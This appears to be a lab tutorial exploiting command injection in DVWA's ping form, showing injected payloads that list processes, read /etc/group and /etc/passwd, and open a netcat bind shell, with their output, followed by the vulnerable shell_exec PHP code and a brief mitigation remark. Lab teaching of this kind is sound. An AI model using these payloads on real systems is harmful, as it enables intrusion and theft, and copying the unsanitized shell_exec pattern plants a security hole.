

Command Execution – DVWA

Vulnerability: Command Execution

Ping for FREE

Enter an IP address below:


```
PING 172.16.212.133 (172.16.212.133) 56(84) bytes of data.  
64 bytes from 172.16.212.133: icmp_seq=1 ttl=64 time=0.057 ms  
64 bytes from 172.16.212.133: icmp_seq=2 ttl=64 time=0.053 ms  
64 bytes from 172.16.212.133: icmp_seq=3 ttl=64 time=0.031 ms  
  
--- 172.16.212.133 ping statistics ---  
3 packets transmitted, 3 received, 0% packet loss, time 1998ms  
rtt min/avg/max/mdev = 0.031/0.047/0.057/0.011 ms
```

One of the most critical vulnerabilities that a penetration tester can come across in a web application penetration test is to find an application that it will allow him to execute system commands. The rate of this vulnerability is high because it can allow any unauthorized and malicious user to execute commands from the web application to the system and to harvest large amount of information or to compromise the target host. In this article we will see how we can exploit this vulnerability by using the Damn Vulnerable Web Application for demonstration.

As we can see in the DVWA we have a free ping utility which allows us to ping any IP address.

Vulnerability: Command Execution

Ping for FREE

Enter an IP address below:


```
PING 172.16.212.133 (172.16.212.133) 56(84) bytes of data.  
64 bytes from 172.16.212.133: icmp_seq=1 ttl=64 time=0.057 ms  
64 bytes from 172.16.212.133: icmp_seq=2 ttl=64 time=0.053 ms  
64 bytes from 172.16.212.133: icmp_seq=3 ttl=64 time=0.031 ms  
  
--- 172.16.212.133 ping statistics ---  
3 packets transmitted, 3 received, 0% packet loss, time 1998ms  
rtt min/avg/max/mdev = 0.031/0.047/0.057/0.011 ms
```

In order to ensure that the application is vulnerable to command execution we can try a simple command. On the IP address field we type `1 | echo pentestlab`. If `pentestlab` appears on the web application after the submission of the command then we have a command execution vulnerability.

Vulnerability: Command Execution

Ping for FREE

Enter an IP address below:

pentestlab

Testing for command execution

The image above shows that the command has executed successfully meaning that the vulnerability exists. Now we can replace `echo` with different commands in order to start gathering information about the remote host. The first thing that we want to check is of course the contents of the current directory with the `ls` command.

Vulnerability: Command Execution

Ping for FREE

Enter an IP address below:

help
index.php
source

Contents of the current directory

We can also execute multiple commands at one time just by using the `&` sign. For example we can type the command `1 | pwd & whoami & ps` which it will give us the following result:

Vulnerability: Command Execution

Ping for FREE

Enter an IP address below:

```
/var/www/dvwa/vulnerabilities/exec
```

```
www-data
```

PID	TTY	TIME	CMD
5171	?	00:00:00	apache2
5173	?	00:00:00	apache2
5176	?	00:00:00	apache2
5178	?	00:00:00	apache2
5179	?	00:00:00	apache2
5336	?	00:00:00	apache2
5339	?	00:00:00	apache2
5397	?	00:00:00	apache2
5398	?	00:00:00	apache2
5399	?	00:00:00	apache2
6060	?	00:00:00	php
6061	?	00:00:00	sh
6065	?	00:00:00	ps

Execution of multiple commands

As we can see from the picture above with one command we obtained the following:

- Parent working directory (pwd)
- Current user that is executing the commands (whoami)
- Processes that are running (ps)

We can also use the command `1 | uname -a & users & id & w` for discovering the hostname, the users that are logged in

Vulnerability: Command Execution

Ping for FREE

Enter an IP address below:

```
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
uid=33(www-data) gid=33(www-data) groups=33(www-data)
root
20:17:38 up 5:32, 1 user, load average: 0.00, 0.00, 0.00
USER      TTY      FROM          LOGIN@      IDLE        JCPU   PCPU WHAT
root      pts/0    :0.0          14:46       5:31       0.01s   0.01s -bash
```

Execution of multiple commands 2

We can use the `1 | cat /etc/group` in order to display information about the user groups and its members on the target system.

Ping for FREE

Enter an IP address below:

```
1 | cat /etc/group
```

submit

```
root:x:0:
daemon:x:1:
bin:x:2:
sys:x:3:
adm:x:4:msfadmin
tty:x:5:
disk:x:6:
lp:x:7:
mail:x:8:
news:x:9:
uucp:x:10:
man:x:12:
proxy:x:13:
kmem:x:15:
dialout:x:20:msfadmin
fax:x:21:
voice:x:22:
cdrom:x:24:msfadmin
floppy:x:25:msfadmin
tape:x:26:
sudo:x:27:
audio:x:29:msfadmin
dip:x:30:msfadmin
www-data:x:33:
```

user groups

Always in Linux-based operating systems we want to display the contents of `/etc/passwd` file because we can find information about the users.


```
1 | cat /etc/passwd
```

```
submit
```

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin)/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
bind:x:105:113::/var/cache/bind:/bin/false
postfix:x:106:115::/var/spool/postfix:/bin/false
ftp:x:107:65534::/home/ftp:/bin/false
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
distccd:x:111:65534::/bin/false
user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
service:x:1002:1002,,,:/home/service:/bin/bash
telnetd:x:112:120::/nonexistent:/bin/false
proftpd:x:113:65534::/var/run/proftpd:/bin/false
statd:x:114:65534::/var/lib/nfs:/bin/false
snmp:x:115:65534::/var/lib/snmp:/bin/false
```

Contents of /etc/passwd

We can also use the following command in order to open a port on the remote host and to connect back to it with netcat.

```
1 | netcat -v -e '/bin/bash' -l -p 31337
```

```
root@pentestlab:~# netcat -v 172.16.212.133 31337
172.16.212.133: inverse host lookup failed: Unknown server error
(UNKNOWN) [172.16.212.133] 31337 (?) open
whoami
www-data
pwd
/var/www/dvwa/vulnerabilities/exec
users
root
cat /etc/passwd
```

connect with netcat

Why the web application is vulnerable?

We can answer this question just by examining the source code.

```
<?php

if( isset( $_POST[ 'submit' ] ) ) {

    $target = $_REQUEST[ 'ip' ];

    // Determine OS and execute the ping command.
    if (stristr(PHP_OS, 'Windows NT')) {

        $cmd = shell_exec( 'ping ' . $target );
        echo '<pre>'.$cmd.'</pre>';

    } else {

        $cmd = shell_exec( 'ping -c 3 ' . $target );
        echo '<pre>'.$cmd.'</pre>';

    }

}
```

Vulnerable Source Code

From the code above we can see that there is no check for the variable \$target and if it matches to an IP address. So the code allows an attacker to append commands behind the IP address.

Conclusion

In this post we saw how catastrophic can be this vulnerability as the attacker can directly execute system commands. This vulnerability exists due to the fact that the web application accepts user input without sanitizing first and passes that input directly to the operating system. The information about the host that an attacker can obtain is large and this threat must be mitigated immediately once it has discovered.